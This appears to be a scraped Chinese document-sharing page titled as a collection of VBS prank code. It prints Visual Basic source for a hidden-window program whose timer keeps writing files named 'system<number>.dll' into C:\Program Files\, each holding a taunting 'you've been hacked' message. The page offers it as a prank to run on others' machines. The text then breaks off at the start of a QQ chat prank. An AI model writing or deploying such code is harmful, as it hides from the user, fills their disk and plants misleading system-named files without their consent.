VBS整人代码精编.docVIP

VBS整人代码： vbs整人代码 代码如下： 复制代码 代码如下: Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer() 声明变量，其中“count”为静态变量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long 定义要把生成的文件存放在那个目录文件下 c = C:\Program Files\ 生成文件的内容 nr = 哈哈，被黑的感觉的不错吧 files = FreeFile 如果a等于a那么就执行 If a = a Then count不断的加1，以便产生不同的文件名 count = count + 1 产生文件名及文件句柄，并用count作为产生不同的文件名。 Open c system count .dll For Append As #files 向文件写内容 Write #files, nr 清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close #files End If End Sub 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定